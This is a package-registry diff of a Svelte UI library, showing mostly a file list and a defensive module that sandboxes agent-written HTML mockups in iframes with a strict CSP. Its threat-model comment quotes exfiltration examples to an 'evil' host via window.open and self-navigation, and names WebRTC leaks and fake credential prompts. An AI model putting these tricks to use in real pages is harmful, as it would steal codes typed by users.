@joewinke/jatui 0.37.0 → 0.38.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/artifact-blocks/AttachmentChip.svelte +66 -0
- package/dist/artifact-blocks/AttachmentChip.svelte.d.ts +7 -0
- package/dist/artifact-blocks/BlockComments.svelte +309 -0
- package/dist/artifact-blocks/BlockComments.svelte.d.ts +33 -0
- package/dist/artifact-blocks/BlockRenderer.svelte +674 -0
- package/dist/artifact-blocks/BlockRenderer.svelte.d.ts +55 -0
- package/dist/artifact-blocks/BlockVerdict.svelte +151 -0
- package/dist/artifact-blocks/BlockVerdict.svelte.d.ts +13 -0
- package/dist/artifact-blocks/BlocksArtifactView.svelte +1616 -0
- package/dist/artifact-blocks/BlocksArtifactView.svelte.d.ts +113 -0
- package/dist/artifact-blocks/CONTRACT.md +245 -0
- package/dist/artifact-blocks/CommentPill.svelte +49 -0
- package/dist/artifact-blocks/CommentPill.svelte.d.ts +16 -0
- package/dist/artifact-blocks/FoldedRounds.svelte +95 -0
- package/dist/artifact-blocks/FoldedRounds.svelte.d.ts +9 -0
- package/dist/artifact-blocks/Glyph.svelte +54 -0
- package/dist/artifact-blocks/Glyph.svelte.d.ts +10 -0
- package/dist/artifact-blocks/HistoryScrubber.svelte +500 -0
- package/dist/artifact-blocks/HistoryScrubber.svelte.d.ts +15 -0
- package/dist/artifact-blocks/Markdown.svelte +186 -0
- package/dist/artifact-blocks/Markdown.svelte.d.ts +30 -0
- package/dist/artifact-blocks/NoteComposer.svelte +31 -0
- package/dist/artifact-blocks/NoteComposer.svelte.d.ts +8 -0
- package/dist/artifact-blocks/PlainComposer.svelte +200 -0
- package/dist/artifact-blocks/PlainComposer.svelte.d.ts +15 -0
- package/dist/artifact-blocks/SectionTools.svelte +102 -0
- package/dist/artifact-blocks/SectionTools.svelte.d.ts +19 -0
- package/dist/artifact-blocks/adapter.d.ts +13 -0
- package/dist/artifact-blocks/adapter.js +31 -0
- package/dist/artifact-blocks/autoSend.d.ts +49 -0
- package/dist/artifact-blocks/autoSend.js +103 -0
- package/dist/artifact-blocks/blocks/actions/ActionsBlock.svelte +557 -0
- package/dist/artifact-blocks/blocks/actions/ActionsBlock.svelte.d.ts +48 -0
- package/dist/artifact-blocks/blocks/actions/block.d.ts +8 -0
- package/dist/artifact-blocks/blocks/actions/block.js +74 -0
- package/dist/artifact-blocks/blocks/actions/requests.d.ts +62 -0
- package/dist/artifact-blocks/blocks/actions/requests.js +26 -0
- package/dist/artifact-blocks/blocks/actions/schema.d.ts +168 -0
- package/dist/artifact-blocks/blocks/actions/schema.js +253 -0
- package/dist/artifact-blocks/blocks/callout/CalloutBlock.svelte +779 -0
- package/dist/artifact-blocks/blocks/callout/CalloutBlock.svelte.d.ts +40 -0
- package/dist/artifact-blocks/blocks/callout/block.d.ts +7 -0
- package/dist/artifact-blocks/blocks/callout/block.js +39 -0
- package/dist/artifact-blocks/blocks/callout/schema.d.ts +72 -0
- package/dist/artifact-blocks/blocks/callout/schema.js +115 -0
- package/dist/artifact-blocks/blocks/chart/ChartBlock.svelte +875 -0
- package/dist/artifact-blocks/blocks/chart/ChartBlock.svelte.d.ts +59 -0
- package/dist/artifact-blocks/blocks/chart/block.d.ts +9 -0
- package/dist/artifact-blocks/blocks/chart/block.js +70 -0
- package/dist/artifact-blocks/blocks/chart/schema.d.ts +171 -0
- package/dist/artifact-blocks/blocks/chart/schema.js +498 -0
- package/dist/artifact-blocks/blocks/chart/thumb.d.ts +2 -0
- package/dist/artifact-blocks/blocks/chart/thumb.js +201 -0
- package/dist/artifact-blocks/blocks/checklist/ChecklistBlock.svelte +1048 -0
- package/dist/artifact-blocks/blocks/checklist/ChecklistBlock.svelte.d.ts +16 -0
- package/dist/artifact-blocks/blocks/checklist/Icon.svelte +105 -0
- package/dist/artifact-blocks/blocks/checklist/Icon.svelte.d.ts +17 -0
- package/dist/artifact-blocks/blocks/checklist/block.d.ts +10 -0
- package/dist/artifact-blocks/blocks/checklist/block.js +63 -0
- package/dist/artifact-blocks/blocks/checklist/itemReview.d.ts +16 -0
- package/dist/artifact-blocks/blocks/checklist/itemReview.js +63 -0
- package/dist/artifact-blocks/blocks/checklist/labels.d.ts +62 -0
- package/dist/artifact-blocks/blocks/checklist/labels.js +96 -0
- package/dist/artifact-blocks/blocks/checklist/retest.d.ts +43 -0
- package/dist/artifact-blocks/blocks/checklist/retest.js +68 -0
- package/dist/artifact-blocks/blocks/checklist/schema.d.ts +84 -0
- package/dist/artifact-blocks/blocks/checklist/schema.js +91 -0
- package/dist/artifact-blocks/blocks/code/CodeBlock.svelte +128 -0
- package/dist/artifact-blocks/blocks/code/CodeBlock.svelte.d.ts +12 -0
- package/dist/artifact-blocks/blocks/code/block.d.ts +8 -0
- package/dist/artifact-blocks/blocks/code/block.js +31 -0
- package/dist/artifact-blocks/blocks/code/highlight.d.ts +34 -0
- package/dist/artifact-blocks/blocks/code/highlight.js +280 -0
- package/dist/artifact-blocks/blocks/code/schema.d.ts +32 -0
- package/dist/artifact-blocks/blocks/code/schema.js +39 -0
- package/dist/artifact-blocks/blocks/collage/CollageBlock.svelte +290 -0
- package/dist/artifact-blocks/blocks/collage/CollageBlock.svelte.d.ts +29 -0
- package/dist/artifact-blocks/blocks/collage/block.d.ts +9 -0
- package/dist/artifact-blocks/blocks/collage/block.js +29 -0
- package/dist/artifact-blocks/blocks/collage/schema.d.ts +52 -0
- package/dist/artifact-blocks/blocks/collage/schema.js +86 -0
- package/dist/artifact-blocks/blocks/compare/CompareBlock.svelte +484 -0
- package/dist/artifact-blocks/blocks/compare/CompareBlock.svelte.d.ts +25 -0
- package/dist/artifact-blocks/blocks/compare/block.d.ts +9 -0
- package/dist/artifact-blocks/blocks/compare/block.js +32 -0
- package/dist/artifact-blocks/blocks/compare/schema.d.ts +74 -0
- package/dist/artifact-blocks/blocks/compare/schema.js +148 -0
- package/dist/artifact-blocks/blocks/diagram/DiagramBlock.svelte +392 -0
- package/dist/artifact-blocks/blocks/diagram/DiagramBlock.svelte.d.ts +30 -0
- package/dist/artifact-blocks/blocks/diagram/block.d.ts +9 -0
- package/dist/artifact-blocks/blocks/diagram/block.js +50 -0
- package/dist/artifact-blocks/blocks/diagram/constants.d.ts +48 -0
- package/dist/artifact-blocks/blocks/diagram/constants.js +53 -0
- package/dist/artifact-blocks/blocks/diagram/schema.d.ts +161 -0
- package/dist/artifact-blocks/blocks/diagram/schema.js +621 -0
- package/dist/artifact-blocks/blocks/diagram/thumb.d.ts +2 -0
- package/dist/artifact-blocks/blocks/diagram/thumb.js +157 -0
- package/dist/artifact-blocks/blocks/diagram/types.d.ts +74 -0
- package/dist/artifact-blocks/blocks/diagram/types.js +1 -0
- package/dist/artifact-blocks/blocks/diff/DiffBlock.svelte +81 -0
- package/dist/artifact-blocks/blocks/diff/DiffBlock.svelte.d.ts +10 -0
- package/dist/artifact-blocks/blocks/diff/block.d.ts +7 -0
- package/dist/artifact-blocks/blocks/diff/block.js +36 -0
- package/dist/artifact-blocks/blocks/diff/schema.d.ts +18 -0
- package/dist/artifact-blocks/blocks/diff/schema.js +35 -0
- package/dist/artifact-blocks/blocks/diff-review/DiffReviewBlock.svelte +1055 -0
- package/dist/artifact-blocks/blocks/diff-review/DiffReviewBlock.svelte.d.ts +5 -0
- package/dist/artifact-blocks/blocks/diff-review/block.d.ts +15 -0
- package/dist/artifact-blocks/blocks/diff-review/block.js +64 -0
- package/dist/artifact-blocks/blocks/diff-review/decisions.d.ts +57 -0
- package/dist/artifact-blocks/blocks/diff-review/decisions.js +80 -0
- package/dist/artifact-blocks/blocks/diff-review/schema.d.ts +13 -0
- package/dist/artifact-blocks/blocks/diff-review/schema.js +84 -0
- package/dist/artifact-blocks/blocks/diff-review/types.d.ts +35 -0
- package/dist/artifact-blocks/blocks/diff-review/types.js +1 -0
- package/dist/artifact-blocks/blocks/explainer/ExplainerBlock.svelte +145 -0
- package/dist/artifact-blocks/blocks/explainer/ExplainerBlock.svelte.d.ts +5 -0
- package/dist/artifact-blocks/blocks/explainer/block.d.ts +8 -0
- package/dist/artifact-blocks/blocks/explainer/block.js +21 -0
- package/dist/artifact-blocks/blocks/explainer/schema.d.ts +26 -0
- package/dist/artifact-blocks/blocks/explainer/schema.js +69 -0
- package/dist/artifact-blocks/blocks/group-content.d.ts +10 -0
- package/dist/artifact-blocks/blocks/group-content.js +16 -0
- package/dist/artifact-blocks/blocks/group-data.d.ts +10 -0
- package/dist/artifact-blocks/blocks/group-data.js +7 -0
- package/dist/artifact-blocks/blocks/group-review.d.ts +10 -0
- package/dist/artifact-blocks/blocks/group-review.js +12 -0
- package/dist/artifact-blocks/blocks/group-visual.d.ts +17 -0
- package/dist/artifact-blocks/blocks/group-visual.js +14 -0
- package/dist/artifact-blocks/blocks/map/MapBlock.svelte +413 -0
- package/dist/artifact-blocks/blocks/map/MapBlock.svelte.d.ts +53 -0
- package/dist/artifact-blocks/blocks/map/block.d.ts +9 -0
- package/dist/artifact-blocks/blocks/map/block.js +62 -0
- package/dist/artifact-blocks/blocks/map/schema.d.ts +123 -0
- package/dist/artifact-blocks/blocks/map/schema.js +113 -0
- package/dist/artifact-blocks/blocks/map/thumb.d.ts +2 -0
- package/dist/artifact-blocks/blocks/map/thumb.js +69 -0
- package/dist/artifact-blocks/blocks/markdown/MarkdownBlock.svelte +33 -0
- package/dist/artifact-blocks/blocks/markdown/MarkdownBlock.svelte.d.ts +15 -0
- package/dist/artifact-blocks/blocks/markdown/block.d.ts +7 -0
- package/dist/artifact-blocks/blocks/markdown/block.js +28 -0
- package/dist/artifact-blocks/blocks/markdown/render.d.ts +17 -0
- package/dist/artifact-blocks/blocks/markdown/render.js +115 -0
- package/dist/artifact-blocks/blocks/markdown/schema.d.ts +10 -0
- package/dist/artifact-blocks/blocks/markdown/schema.js +23 -0
- package/dist/artifact-blocks/blocks/media-picker/MediaPickerBlock.svelte +2112 -0
- package/dist/artifact-blocks/blocks/media-picker/MediaPickerBlock.svelte.d.ts +5 -0
- package/dist/artifact-blocks/blocks/media-picker/block.d.ts +24 -0
- package/dist/artifact-blocks/blocks/media-picker/block.js +137 -0
- package/dist/artifact-blocks/blocks/media-picker/choices.d.ts +28 -0
- package/dist/artifact-blocks/blocks/media-picker/choices.js +35 -0
- package/dist/artifact-blocks/blocks/media-picker/decisions.d.ts +51 -0
- package/dist/artifact-blocks/blocks/media-picker/decisions.js +75 -0
- package/dist/artifact-blocks/blocks/media-picker/schema.d.ts +7 -0
- package/dist/artifact-blocks/blocks/media-picker/schema.js +199 -0
- package/dist/artifact-blocks/blocks/media-picker/types.d.ts +92 -0
- package/dist/artifact-blocks/blocks/media-picker/types.js +1 -0
- package/dist/artifact-blocks/blocks/media-picker/versions.d.ts +51 -0
- package/dist/artifact-blocks/blocks/media-picker/versions.js +118 -0
- package/dist/artifact-blocks/blocks/mockup/MockupBlock.svelte +247 -0
- package/dist/artifact-blocks/blocks/mockup/MockupBlock.svelte.d.ts +5 -0
- package/dist/artifact-blocks/blocks/mockup/block.d.ts +27 -0
- package/dist/artifact-blocks/blocks/mockup/block.js +52 -0
- package/dist/artifact-blocks/blocks/mockup/doc.d.ts +39 -0
- package/dist/artifact-blocks/blocks/mockup/doc.js +65 -0
- package/dist/artifact-blocks/blocks/mockup/sandbox.d.ts +98 -0
- package/dist/artifact-blocks/blocks/mockup/sandbox.js +63 -0
- package/dist/artifact-blocks/blocks/mockup/schema.d.ts +7 -0
- package/dist/artifact-blocks/blocks/mockup/schema.js +90 -0
- package/dist/artifact-blocks/blocks/mockup/types.d.ts +36 -0
- package/dist/artifact-blocks/blocks/mockup/types.js +17 -0
- package/dist/artifact-blocks/blocks/program/ProgramBlock.svelte +359 -0
- package/dist/artifact-blocks/blocks/program/ProgramBlock.svelte.d.ts +32 -0
- package/dist/artifact-blocks/blocks/program/block.d.ts +35 -0
- package/dist/artifact-blocks/blocks/program/block.js +68 -0
- package/dist/artifact-blocks/blocks/program/schema.d.ts +132 -0
- package/dist/artifact-blocks/blocks/program/schema.js +268 -0
- package/dist/artifact-blocks/blocks/stats/StatsBlock.svelte +315 -0
- package/dist/artifact-blocks/blocks/stats/StatsBlock.svelte.d.ts +24 -0
- package/dist/artifact-blocks/blocks/stats/block.d.ts +7 -0
- package/dist/artifact-blocks/blocks/stats/block.js +49 -0
- package/dist/artifact-blocks/blocks/stats/schema.d.ts +82 -0
- package/dist/artifact-blocks/blocks/stats/schema.js +43 -0
- package/dist/artifact-blocks/blocks/stats/thumb.d.ts +2 -0
- package/dist/artifact-blocks/blocks/stats/thumb.js +102 -0
- package/dist/artifact-blocks/blocks/table/TableBlock.svelte +490 -0
- package/dist/artifact-blocks/blocks/table/TableBlock.svelte.d.ts +28 -0
- package/dist/artifact-blocks/blocks/table/block.d.ts +9 -0
- package/dist/artifact-blocks/blocks/table/block.js +100 -0
- package/dist/artifact-blocks/blocks/table/schema.d.ts +143 -0
- package/dist/artifact-blocks/blocks/table/schema.js +278 -0
- package/dist/artifact-blocks/blocks/timeline/TimelineBlock.svelte +347 -0
- package/dist/artifact-blocks/blocks/timeline/TimelineBlock.svelte.d.ts +42 -0
- package/dist/artifact-blocks/blocks/timeline/block.d.ts +9 -0
- package/dist/artifact-blocks/blocks/timeline/block.js +96 -0
- package/dist/artifact-blocks/blocks/timeline/constants.d.ts +26 -0
- package/dist/artifact-blocks/blocks/timeline/constants.js +27 -0
- package/dist/artifact-blocks/blocks/timeline/schema.d.ts +102 -0
- package/dist/artifact-blocks/blocks/timeline/schema.js +405 -0
- package/dist/artifact-blocks/blocks/timeline/thumb.d.ts +2 -0
- package/dist/artifact-blocks/blocks/timeline/thumb.js +117 -0
- package/dist/artifact-blocks/blocks/timeline/types.d.ts +66 -0
- package/dist/artifact-blocks/blocks/timeline/types.js +1 -0
- package/dist/artifact-blocks/blocks/transcript/TranscriptBlock.svelte +169 -0
- package/dist/artifact-blocks/blocks/transcript/TranscriptBlock.svelte.d.ts +26 -0
- package/dist/artifact-blocks/blocks/transcript/block.d.ts +9 -0
- package/dist/artifact-blocks/blocks/transcript/block.js +86 -0
- package/dist/artifact-blocks/blocks/transcript/schema.d.ts +114 -0
- package/dist/artifact-blocks/blocks/transcript/schema.js +126 -0
- package/dist/artifact-blocks/builtins.d.ts +40 -0
- package/dist/artifact-blocks/builtins.js +22 -0
- package/dist/artifact-blocks/contractBlocks.d.ts +92 -0
- package/dist/artifact-blocks/contractBlocks.js +279 -0
- package/dist/artifact-blocks/history.d.ts +140 -0
- package/dist/artifact-blocks/history.js +363 -0
- package/dist/artifact-blocks/index.d.ts +40 -0
- package/dist/artifact-blocks/index.js +46 -0
- package/dist/artifact-blocks/listen/context.d.ts +30 -0
- package/dist/artifact-blocks/listen/context.js +30 -0
- package/dist/artifact-blocks/liveData.d.ts +78 -0
- package/dist/artifact-blocks/liveData.js +137 -0
- package/dist/artifact-blocks/liveDataPoller.d.ts +41 -0
- package/dist/artifact-blocks/liveDataPoller.js +140 -0
- package/dist/artifact-blocks/openNav.d.ts +46 -0
- package/dist/artifact-blocks/openNav.js +106 -0
- package/dist/artifact-blocks/pageReviewKeys.d.ts +17 -0
- package/dist/artifact-blocks/pageReviewKeys.js +115 -0
- package/dist/artifact-blocks/params.d.ts +98 -0
- package/dist/artifact-blocks/params.js +159 -0
- package/dist/artifact-blocks/registry.d.ts +27 -0
- package/dist/artifact-blocks/registry.js +83 -0
- package/dist/artifact-blocks/review/BlockIcon.svelte +99 -0
- package/dist/artifact-blocks/review/BlockIcon.svelte.d.ts +17 -0
- package/dist/artifact-blocks/review/BulkRejectForm.svelte +94 -0
- package/dist/artifact-blocks/review/BulkRejectForm.svelte.d.ts +11 -0
- package/dist/artifact-blocks/review/BulkUndoBar.svelte +40 -0
- package/dist/artifact-blocks/review/BulkUndoBar.svelte.d.ts +9 -0
- package/dist/artifact-blocks/review/ItemNote.svelte +193 -0
- package/dist/artifact-blocks/review/ItemNote.svelte.d.ts +33 -0
- package/dist/artifact-blocks/review/NoteToggle.svelte +52 -0
- package/dist/artifact-blocks/review/NoteToggle.svelte.d.ts +12 -0
- package/dist/artifact-blocks/review/TeamChip.svelte +71 -0
- package/dist/artifact-blocks/review/TeamChip.svelte.d.ts +8 -0
- package/dist/artifact-blocks/review/attachments.d.ts +10 -0
- package/dist/artifact-blocks/review/attachments.js +37 -0
- package/dist/artifact-blocks/review/bulk.d.ts +52 -0
- package/dist/artifact-blocks/review/bulk.js +61 -0
- package/dist/artifact-blocks/review/itemReview.d.ts +33 -0
- package/dist/artifact-blocks/review/itemReview.js +112 -0
- package/dist/artifact-blocks/review/roundLines.d.ts +14 -0
- package/dist/artifact-blocks/review/roundLines.js +20 -0
- package/dist/artifact-blocks/review/rounds.d.ts +86 -0
- package/dist/artifact-blocks/review/rounds.js +302 -0
- package/dist/artifact-blocks/review/saver.d.ts +23 -0
- package/dist/artifact-blocks/review/saver.js +48 -0
- package/dist/artifact-blocks/review/team.d.ts +31 -0
- package/dist/artifact-blocks/review/team.js +42 -0
- package/dist/artifact-blocks/review/visualOrder.d.ts +29 -0
- package/dist/artifact-blocks/review/visualOrder.js +66 -0
- package/dist/artifact-blocks/review.d.ts +180 -0
- package/dist/artifact-blocks/review.js +716 -0
- package/dist/artifact-blocks/thumb-kit.d.ts +80 -0
- package/dist/artifact-blocks/thumb-kit.js +149 -0
- package/dist/artifact-blocks/types.d.ts +522 -0
- package/dist/artifact-blocks/types.js +1 -0
- package/package.json +11 -2
|
@@ -0,0 +1,98 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* The mockup frame's `sandbox` attribute and the CSP its scripted document
|
|
3
|
+
* carries (origin: MOS src/lib/modules/artifacts/sandbox.ts
|
|
4
|
+
* artifactSandboxAttr, bad16b324; scripted hardening ported from jat
|
|
5
|
+
* ide/src/lib/server/artifacts/sandboxPolicy.ts, jat-4yffn).
|
|
6
|
+
*
|
|
7
|
+
* Each variant is agent-authored HTML in an iframe `srcdoc`. The sandbox puts
|
|
8
|
+
* it in an OPAQUE origin: no session, no cookies, no parent DOM. That only
|
|
9
|
+
* holds while `allow-same-origin` is absent — srcdoc with scripts +
|
|
10
|
+
* same-origin is the one combination that defeats it — so this module never
|
|
11
|
+
* emits it, and strips it from a host override too. Top navigation is never
|
|
12
|
+
* granted either: a mockup may not replace the page it sits in.
|
|
13
|
+
*
|
|
14
|
+
* ## Script-free mockups (unchanged)
|
|
15
|
+
*
|
|
16
|
+
* `allow-popups` + `allow-popups-to-escape-sandbox`: a link in a mockup that
|
|
17
|
+
* opens a new tab lands on a normal page, not a sandboxed one. A host may
|
|
18
|
+
* widen or narrow that list with `services.sandboxAttr` (a string, or a
|
|
19
|
+
* function of allowScripts); the never-tokens and `allow-scripts` are removed
|
|
20
|
+
* from whatever it returns.
|
|
21
|
+
*
|
|
22
|
+
* ## Scripted mockups (`allowScripts: true`) — jat-4yffn
|
|
23
|
+
*
|
|
24
|
+
* The opaque origin keeps agent JavaScript away from the session, but not
|
|
25
|
+
* away from the HUMAN looking at it: a script can draw a fake "confirm it's
|
|
26
|
+
* you" box, capture a typed code, and get it out. So a scripted frame is
|
|
27
|
+
* `sandbox="allow-scripts"` and nothing else, and its document carries
|
|
28
|
+
* MOCKUP_SCRIPTED_CSP (see ./doc.ts):
|
|
29
|
+
*
|
|
30
|
+
* - no popups at all — `window.open('https://evil/?c=CODE')` leaks the code
|
|
31
|
+
* in the URL whether or not the popup escapes the sandbox. Links that
|
|
32
|
+
* open a new tab therefore do not open; that is the trade.
|
|
33
|
+
* - `img-src data:` / `media-src data:` — an image or media fetch is a
|
|
34
|
+
* beacon `connect-src 'none'` does not cover.
|
|
35
|
+
* - `x-dns-prefetch-control: off` — a prefetched hostname is a DNS beacon
|
|
36
|
+
* outside every fetch directive.
|
|
37
|
+
*
|
|
38
|
+
* A host may NARROW a scripted frame with `services.sandboxAttr` (returning
|
|
39
|
+
* "" turns scripts off) but never widen it: only `allow-scripts` survives.
|
|
40
|
+
* MockupBlock draws a "runs scripts" notice in the parent page, outside the
|
|
41
|
+
* frame, so the label is chrome the script cannot reach.
|
|
42
|
+
*
|
|
43
|
+
* ## What the host must assert, and what nobody can close
|
|
44
|
+
*
|
|
45
|
+
* - Self-navigation (jatui-2qhbr): a sandboxed document may always navigate
|
|
46
|
+
* its OWN frame (`location = 'https://evil/?c=CODE'`, or a meta refresh),
|
|
47
|
+
* and nothing in its CSP can stop that. Only the PARENT's CSP can: an
|
|
48
|
+
* ENFORCED `frame-src 'self'` (or narrower) on the host page — the browser
|
|
49
|
+
* checks it on every navigation of the child frame, while the initial
|
|
50
|
+
* srcdoc load is not subject to it. Two near-misses both leak (verified in
|
|
51
|
+
* Chromium against mos): `frame-src 'self' https:` (any https URL is a
|
|
52
|
+
* valid target) and a Report-Only policy (reports, never blocks). jatui
|
|
53
|
+
* cannot read the parent's response headers, so this is a CHECKED
|
|
54
|
+
* precondition instead of advice: the host asserts it with
|
|
55
|
+
* `services.framePolicy = { frameSrcSelfEnforced: true }`, and a scripted
|
|
56
|
+
* mockup runs scripts ONLY under that assertion (mockupScriptsAllowed).
|
|
57
|
+
* Without it the mockup degrades to script-free and MockupBlock says so.
|
|
58
|
+
* - WebRTC: an RTCPeerConnection to an attacker's STUN/TURN server gets
|
|
59
|
+
* packets out, and no shipped CSP directive governs it. That is why the
|
|
60
|
+
* notice exists and why a real credential prompt belongs to the host page,
|
|
61
|
+
* never inside a frame.
|
|
62
|
+
*
|
|
63
|
+
* - Script-free mockups are NOT beacon-free, by design: they load remote
|
|
64
|
+
* images and may open (sandbox-escaping) popups, so an author can learn
|
|
65
|
+
* that, and roughly when, a mockup was viewed. They cannot capture input
|
|
66
|
+
* (no scripts), so nothing typed into them leaves the frame.
|
|
67
|
+
*
|
|
68
|
+
* jat's raw-route gate (Sec-Fetch-Dest/Site) has no counterpart here: a
|
|
69
|
+
* srcdoc frame has no URL that could be opened full-window without the
|
|
70
|
+
* notice.
|
|
71
|
+
*/
|
|
72
|
+
export type SandboxAttrService = string | ((allowScripts: boolean) => string);
|
|
73
|
+
/**
|
|
74
|
+
* The host's assertion about its OWN page CSP (`services.framePolicy`,
|
|
75
|
+
* jatui-2qhbr). `frameSrcSelfEnforced: true` claims the page that renders
|
|
76
|
+
* blocks is served with an ENFORCED (not Report-Only) `frame-src 'self'` —
|
|
77
|
+
* or narrower — and no `https:`/`*` source in it. Assert it only when that
|
|
78
|
+
* header is really sent on every route that renders artifact blocks.
|
|
79
|
+
*/
|
|
80
|
+
export interface FramePolicyService {
|
|
81
|
+
frameSrcSelfEnforced?: boolean;
|
|
82
|
+
}
|
|
83
|
+
/**
|
|
84
|
+
* Whether a mockup that ASKED for scripts may run them: only when the host
|
|
85
|
+
* asserted an enforced `frame-src 'self'` (strictly `true` — a truthy string
|
|
86
|
+
* or a missing service is no assertion). Otherwise it degrades to
|
|
87
|
+
* script-free, which closes self-navigation (no script, and a sandbox without
|
|
88
|
+
* allow-scripts blocks meta refresh) at the cost of interactivity.
|
|
89
|
+
*/
|
|
90
|
+
export declare function mockupScriptsAllowed(requested: boolean, framePolicy?: unknown): boolean;
|
|
91
|
+
/**
|
|
92
|
+
* The CSP a scripted mockup document carries (as a `<meta http-equiv>`,
|
|
93
|
+
* see ./doc.ts). Mirrors jat's scripted artifactCsp minus the directives a
|
|
94
|
+
* meta policy cannot express (sandbox, frame-ancestors) — the iframe's
|
|
95
|
+
* sandbox attribute covers the former.
|
|
96
|
+
*/
|
|
97
|
+
export declare const MOCKUP_SCRIPTED_CSP: string;
|
|
98
|
+
export declare function mockupSandboxAttr(allowScripts: boolean, override?: unknown): string;
|
|
@@ -0,0 +1,63 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Whether a mockup that ASKED for scripts may run them: only when the host
|
|
3
|
+
* asserted an enforced `frame-src 'self'` (strictly `true` — a truthy string
|
|
4
|
+
* or a missing service is no assertion). Otherwise it degrades to
|
|
5
|
+
* script-free, which closes self-navigation (no script, and a sandbox without
|
|
6
|
+
* allow-scripts blocks meta refresh) at the cost of interactivity.
|
|
7
|
+
*/
|
|
8
|
+
export function mockupScriptsAllowed(requested, framePolicy) {
|
|
9
|
+
return (requested === true &&
|
|
10
|
+
typeof framePolicy === "object" &&
|
|
11
|
+
framePolicy !== null &&
|
|
12
|
+
framePolicy.frameSrcSelfEnforced === true);
|
|
13
|
+
}
|
|
14
|
+
/** Tokens no mockup frame may ever carry, in either mode. */
|
|
15
|
+
const NEVER = new Set([
|
|
16
|
+
"allow-same-origin",
|
|
17
|
+
"allow-top-navigation",
|
|
18
|
+
"allow-top-navigation-by-user-activation",
|
|
19
|
+
]);
|
|
20
|
+
/** The only token a scripted frame may carry; a host override is intersected with it. */
|
|
21
|
+
const SCRIPTED_ALLOWED = new Set(["allow-scripts"]);
|
|
22
|
+
/**
|
|
23
|
+
* The CSP a scripted mockup document carries (as a `<meta http-equiv>`,
|
|
24
|
+
* see ./doc.ts). Mirrors jat's scripted artifactCsp minus the directives a
|
|
25
|
+
* meta policy cannot express (sandbox, frame-ancestors) — the iframe's
|
|
26
|
+
* sandbox attribute covers the former.
|
|
27
|
+
*/
|
|
28
|
+
export const MOCKUP_SCRIPTED_CSP = [
|
|
29
|
+
"default-src 'none'",
|
|
30
|
+
"script-src 'unsafe-inline' 'unsafe-eval'",
|
|
31
|
+
"style-src 'unsafe-inline' https://fonts.googleapis.com",
|
|
32
|
+
"font-src data: https://fonts.gstatic.com",
|
|
33
|
+
"img-src data:",
|
|
34
|
+
"media-src data:",
|
|
35
|
+
"connect-src 'none'",
|
|
36
|
+
"form-action 'none'",
|
|
37
|
+
"base-uri 'none'",
|
|
38
|
+
].join("; ");
|
|
39
|
+
export function mockupSandboxAttr(allowScripts, override) {
|
|
40
|
+
let raw;
|
|
41
|
+
if (typeof override === "function") {
|
|
42
|
+
const v = override(allowScripts);
|
|
43
|
+
raw = typeof v === "string" ? v : defaultTokens(allowScripts);
|
|
44
|
+
}
|
|
45
|
+
else if (typeof override === "string") {
|
|
46
|
+
raw = override;
|
|
47
|
+
}
|
|
48
|
+
else {
|
|
49
|
+
raw = defaultTokens(allowScripts);
|
|
50
|
+
}
|
|
51
|
+
const tokens = raw
|
|
52
|
+
.split(/\s+/)
|
|
53
|
+
.map((t) => t.trim().toLowerCase())
|
|
54
|
+
.filter(Boolean)
|
|
55
|
+
.filter((t) => !NEVER.has(t))
|
|
56
|
+
.filter((t) => allowScripts ? SCRIPTED_ALLOWED.has(t) : t !== "allow-scripts");
|
|
57
|
+
return [...new Set(tokens)].join(" ");
|
|
58
|
+
}
|
|
59
|
+
function defaultTokens(allowScripts) {
|
|
60
|
+
return allowScripts
|
|
61
|
+
? "allow-scripts"
|
|
62
|
+
: "allow-popups allow-popups-to-escape-sandbox";
|
|
63
|
+
}
|
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Params schema for the mockup block (agent HTML in sandboxed device frames).
|
|
3
|
+
* Imported by block.ts (def) and the tests — keeps them cycle-free.
|
|
4
|
+
*/
|
|
5
|
+
import { z } from "zod";
|
|
6
|
+
import type { MockupParams } from "./types.js";
|
|
7
|
+
export declare const mockupSchema: z.ZodType<MockupParams>;
|
|
@@ -0,0 +1,90 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Params schema for the mockup block (agent HTML in sandboxed device frames).
|
|
3
|
+
* Imported by block.ts (def) and the tests — keeps them cycle-free.
|
|
4
|
+
*/
|
|
5
|
+
import { z } from "zod";
|
|
6
|
+
/**
|
|
7
|
+
* Block-level `device` is author shorthand (mos-659rz): `device: "desktop"`
|
|
8
|
+
* on the params means "every variant that does not name its own device
|
|
9
|
+
* renders as desktop". It is not a MockupParams field, so zod would
|
|
10
|
+
* otherwise silently strip it — the Pilot's shorthand passed validation while
|
|
11
|
+
* the device intent never reached the renderer. Inherit it into device-less
|
|
12
|
+
* variants BEFORE parsing (so the variant default never preempts it), copy
|
|
13
|
+
* the objects (never mutate the caller's input — publish stores the spec
|
|
14
|
+
* verbatim), and drop the block-level key. A variant's own device wins; a
|
|
15
|
+
* non-enum shorthand value falls through to the variant enum and is
|
|
16
|
+
* rejected loudly, like any other bad device.
|
|
17
|
+
*/
|
|
18
|
+
function inheritBlockDevice(raw) {
|
|
19
|
+
if (typeof raw !== "object" || raw === null)
|
|
20
|
+
return raw;
|
|
21
|
+
const params = { ...raw };
|
|
22
|
+
const shorthand = params.device;
|
|
23
|
+
if (typeof shorthand !== "string" || !Array.isArray(params.variants))
|
|
24
|
+
return params;
|
|
25
|
+
delete params.device;
|
|
26
|
+
params.variants = params.variants.map((v) => typeof v === "object" &&
|
|
27
|
+
v !== null &&
|
|
28
|
+
v.device === undefined
|
|
29
|
+
? { ...v, device: shorthand }
|
|
30
|
+
: v);
|
|
31
|
+
return params;
|
|
32
|
+
}
|
|
33
|
+
const ID_RE = /^[a-z0-9][a-z0-9_-]{0,63}$/;
|
|
34
|
+
const idSchema = z
|
|
35
|
+
.string()
|
|
36
|
+
.regex(ID_RE, "id must be lowercase a-z0-9_- (max 64, leading a-z0-9)");
|
|
37
|
+
/** Per-variant HTML cap — a device-frame mockup is chrome + layout, not data. */
|
|
38
|
+
const MAX_VARIANT_HTML_BYTES = 48 * 1024;
|
|
39
|
+
/** Whole-block HTML budget — the contract's ~256KB-per-block params cap. */
|
|
40
|
+
const MAX_TOTAL_HTML_BYTES = 256 * 1024;
|
|
41
|
+
const MAX_VARIANTS = 6;
|
|
42
|
+
function utf8Bytes(s) {
|
|
43
|
+
return new TextEncoder().encode(s).length;
|
|
44
